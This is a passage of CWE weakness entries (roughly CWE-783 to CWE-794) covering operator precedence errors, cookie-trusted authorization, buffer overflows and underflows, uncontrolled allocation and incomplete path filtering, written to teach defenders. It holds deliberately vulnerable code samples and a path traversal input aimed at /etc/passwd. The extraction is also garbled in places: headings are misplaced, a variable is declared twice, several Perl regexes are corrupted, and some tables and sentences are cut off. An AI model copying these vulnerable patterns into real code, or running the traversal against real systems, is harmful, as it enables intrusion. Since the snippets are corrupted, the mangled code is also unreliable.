However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=" the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.

C Example:

```c
#include <stdio.h>
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) {
    ...
```

Example 2:
In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.

Java Example:

```java
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
    double returnROI = 0.0;
    // calculate return on investment
    returnROI = currentValue - initialInvestment / initialInvestment;
    return returnROI;
}
```

However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator
precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.

**Java Example:**

```java
... returnROI = (currentValue - initialInvestment) / initialInvestment;
...```

Note that the `initialInvestment` variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1155</td>
<td>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</td>
</tr>
<tr>
<td>CVE-2008-2516</td>
<td>Authentication module allows authentication bypass because it uses &quot;(x = call(args) == SUCCESS)&quot; instead of &quot;((x = call(args)) == SUCCESS)&quot;.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Regularly wrap sub-expressions in parentheses, especially in security-critical code.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>569</td>
<td>Expression Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>EXP00-C</td>
<td>Exact</td>
<td>Use parentheses for precedence of operation</td>
</tr>
</tbody>
</table>

**References**

CERT. "EXP00-C. Use parentheses for precedence of operation". <https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation>.

CWE Version 2.11
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision

• Language-independent

Architectural Paradigms
• Web-based (Often)

Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.

Likelihood of Exploit
High

Demonstrative Examples

Example 1:
The following code excerpt reads a value from a browser cookie to determine the role of the user.

Java Example:

```java
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:
The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

PHP Example:

```php
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:
In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Java Example:

```java
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Observed Examples
### CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5784</td>
<td>e-dating application allows admin privileges by setting the admin cookie to 1.</td>
</tr>
<tr>
<td>CVE-2008-6291</td>
<td>Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to &quot;admin.&quot;</td>
</tr>
<tr>
<td>CVE-2009-0864</td>
<td>Content management system allows admin privileges by setting a &quot;login&quot; cookie to &quot;OK.&quot;</td>
</tr>
<tr>
<td>CVE-2009-1549</td>
<td>Attacker can bypass authentication by setting a cookie to a specific value.</td>
</tr>
<tr>
<td>CVE-2009-1619</td>
<td>Attacker can bypass authentication and gain admin privileges by setting an &quot;admin&quot; cookie to 1.</td>
</tr>
</tbody>
</table>

### References


### Maintenance Notes

A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.

### CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

**Weakness ID:** 785 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

The software invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.

**Extended Description**

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.

**Time of Introduction**

- Implementation
CWE Version 2.11
CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer

Applicable Platforms
Languages
- C
- C++

Common Consequences
Integrity
Confidentiality
Availability
Modify memory
Execute unauthorized code or commands
DoS: crash / exit / restart

Demonstrative Examples
C Example:

```c
char *createOutputDirectory(char *name) {
  char outputDirectoryName[128];
  if (GetCurrentDirectory(128, outputDirectoryName) == 0) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, "output")) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, name)) {
    return null;
  }
  if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
    return null;
  }
  return StrDup(outputDirectoryName);
}
```

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name. For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Potential Mitigations
Implementation
Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Background Details
Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>632</td>
<td>Weaknesses that Affect Files or Directories</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>972</td>
<td>SFP Secondary Cluster: Faulty String Expansion</td>
<td>888</td>
</tr>
</tbody>
</table>

Affected Resources
- Memory

1208
CWE Version 2.11

CWE-786: Access of Memory Location Before Start of Buffer

• File/Directory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Often Misused: File System</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP9</td>
<td>Faulty String Expansion</td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where code path has:
1. end statement that passes buffer to path manipulation function where the size of the buffer is smaller than expected by the path manipulation function

Maintenance Notes

Much of this entry was originally part of CWE-249, which was deprecated for several reasons.
This entry is at a much lower level of abstraction than most entries because it is function-specific.
It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.

CWE-786: Access of Memory Location Before Start of Buffer

Weakness ID: 786 (Weakness Base)  Status: Incomplete

Description

Summary
The software reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description
This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Common Consequences

Confidentiality
Read memory
For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Integrity
Availability
Modify memory
DoS: crash / exit / restart
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

Modify memory
Execute unauthorized code or commands
If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.

Demonstrative Examples

Example 1:
In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

C/C++ Example:

```c
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *strMessageCpy = strMessage;
    int i = length - 1;
```
char *retMessage;
char *message = malloc(sizeof(char)*(length+1));
// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
}
message[index] = '\0';
// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
    message[len] = '\0';
    len--;
}
// return string without trailing whitespace
retMessage = message;
return retMessage;

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:
The following example asks a user for an offset into an array to select an item.
C Example:
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:
The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:
C Example:
int main() {
    ... 
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ... 
}

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-2227</td>
<td>Unchecked length of SSLv2 challenge value leads to buffer underflow.</td>
</tr>
<tr>
<td>CVE-2004-2620</td>
<td>Buffer underflow due to mishandled special characters.</td>
</tr>
<tr>
<td>CVE-2006-4024</td>
<td>Negative value is used in a memcpy() operation, leading to buffer underflow.</td>
</tr>
<tr>
<td>CVE-2006-6171</td>
<td>Product sets an incorrect buffer size limit, leading to &quot;off-by-two&quot; buffer underflow.</td>
</tr>
<tr>
<td>CVE-2007-0886</td>
<td>Buffer underflow resultant from encoded data that triggers an integer overflow.</td>
</tr>
<tr>
<td>CVE-2007-1584</td>
<td>Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.</td>
</tr>
<tr>
<td>CVE-2007-4580</td>
<td>Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)</td>
</tr>
</tbody>
</table>

Relationships
CWE-787: Out-of-bounds Write

**Weakness ID:** 787 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The software writes data past the end, or before the beginning, of the intended buffer.

**Extended Description**

This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

**Common Consequences**

- **Integrity**
- **Availability**
- **Confidentiality**
- **Modify memory**
- **DoS:** crash / exit / restart
- **Execute unauthorized code or commands**

**Demonstrative Examples**

**Example 1:**

The following code attempts to save four different identification numbers into an array.

**C Example:**

```c
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

**Example 2:**

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

**C Example:**

```c
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory, */
    /* else, return -1 to indicate an error */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be
CWE-788: Access of Memory Location After End of Buffer

Summary
The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description
This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

Confidentiality
Read memory
For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffer's position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Integrity
Availability
Modify memory
DoS: crash / exit / restart
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Modify memory
Execute unauthorized code or commands
If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Demonstrative Examples
Example 1:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:

```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example:

```c
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

```c
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = ';';
        } else if ('<' == user_supplied_string[i] ){
```
The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example:

```c
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // Ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4268</td>
<td>Chain: integer signedness passes signed comparison, leads to heap overflow</td>
</tr>
<tr>
<td>CVE-2008-4113</td>
<td>OS kernel trusts userland-supplied length value, allowing reading of sensitive information</td>
</tr>
<tr>
<td>CVE-2009-0558</td>
<td>attacker-controlled array index leads to code execution</td>
</tr>
<tr>
<td>CVE-2009-0689</td>
<td>large precision value in a format string triggers overflow</td>
</tr>
<tr>
<td>CVE-2009-2403</td>
<td>Heap-based buffer overflow in media player using a long entry in a playlist</td>
</tr>
<tr>
<td>CVE-2009-2550</td>
<td>Classic stack-based buffer overflow in media player using a long entry in a playlist</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-789: Uncontrolled Memory Allocation

Weakness ID: 789 (Weakness Variant)  Status: Draft

Description

Summary
The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.

Time of Introduction
- Implementation
- Architecture and Design

Applicable Platforms

Languages
- C
- C++
- All

Platform Notes

Common Consequences

Availability
DoS: resource consumption (memory)
Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.

Likelihood of Exploit
Low

Demonstrative Examples

Example 1:
Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

```c
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:
12345678
This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:
Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

```c
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:
The following code obtains an untrusted number that it used as an index into an array of messages.

Perl Example:

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works. If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as: Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-2589</td>
<td>large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation</td>
</tr>
<tr>
<td>CVE-2006-3791</td>
<td>large key size in game program triggers crash when a resizing function cannot allocate enough memory</td>
</tr>
<tr>
<td>CVE-2008-0977</td>
<td>large value in a length field leads to memory consumption and crash when no more memory is available</td>
</tr>
<tr>
<td>CVE-2008-1708</td>
<td>memory consumption and daemon exit by specifying a large value in a length field</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Architecture and Design**

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

**Operation**

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>1000 18</td>
<td></td>
</tr>
<tr>
<td>CanPrecede</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>1000 800</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>699 1178</td>
<td></td>
</tr>
<tr>
<td>CanFollow</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>1000 258</td>
<td></td>
</tr>
</tbody>
</table>

**Relationship Notes**

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>35</td>
<td>SOAP Array Abuse</td>
</tr>
</tbody>
</table>
CWE-790: Improper Filtering of Special Elements

Weakness ID: 790 (Weakness Class)

Description

Summary
The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example:

```
my $Username = GetUntrustedInput();
$Username =~ s/\./\//;
my $filename = "\home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "./" it comes across. So an input value such as:

```
../../../etc/passwd
```

will have the first "./" stripped, resulting in:

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>284</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>791</td>
<td>Incomplete Filtering of Special Elements</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>1217</td>
</tr>
</tbody>
</table>

CWE-791: Incomplete Filtering of Special Elements

Weakness ID: 791 (Weakness Base)

Description

Summary
The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Common Consequences
Integrity
Unexpected state

Demonstrative Examples

CWE Version 2.11

CWE-792: Incomplete Filtering of One or More Instances of Special Elements
The following code takes untrusted input and uses a regular expression to filter "../" from the input.
It then appends this result to the /home/user/ directory and attempts to read the file in the final
resulting path.
Perl Example:
Bad Code

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first
instance of "../" it comes across. So an input value such as:
Attack

../../../etc/passwd

will have the first "../" stripped, resulting in:
Result

../../etc/passwd

This value is then concatenated with the /home/user/ directory:
Result

/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../
sequences in the pathname. This leads to relative path traversal (CWE-23).
Relationships
Nature
ChildOf

Type

ID
790

Name
Improper Filtering of Special Elements

ParentOf

792

ParentOf

795

Incomplete Filtering of One or More Instances of Special
Elements
Only Filtering Special Elements at a Specified Location

699
1000
699
1000
699
1000

Page
1217
1218
1221

CWE-792: Incomplete Filtering of One or More Instances of
Special Elements
Weakness ID: 792 (Weakness Variant)

Status: Incomplete

Description

Summary
The software receives data from an upstream component, but does not completely filter one or
more instances of special elements before sending it to a downstream component.

Extended Description
Incomplete filtering of this nature involves either
only filtering a single instance of a special element when more exist, or
not filtering all instances or all elements where multiple special elements exist.
Common Consequences
Integrity
Unexpected state
Demonstrative Examples
The following code takes untrusted input and uses a regular expression to filter "../" from the input.
It then appends this result to the /home/user/ directory and attempts to read the file in the final
resulting path.
Perl Example:
Bad Code
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;

1218


my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of ".//" it comes across. So an input value such as:

``` perl
../../../etc/passwd
```

will have the first ".//" stripped, resulting in:

``` perl
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

``` perl
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

### CWE-793: Only Filtering One Instance of a Special Element

**Weakness ID:** 793 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

**Extended Description**

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

**Common Consequences**

- Integrity
- Unexpected state

**Demonstrative Examples**

The following code takes untrusted input and uses a regular expression to filter ".//" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:**

``` perl
my $Username = GetUntrustedInput();
$Username =~ s//\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of ".//" it comes across. So an input value such as:

``` perl
../../../etc/passwd
```

will have the first ".//" stripped, resulting in:
This value is then concatenated with the /home/user/ directory:

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>792</td>
<td>Incomplete Filtering of One or More Instances of Special Elements</td>
<td>1218</td>
</tr>
</tbody>
</table>

### CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

**Weakness ID:** 794 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

**Extended Description**

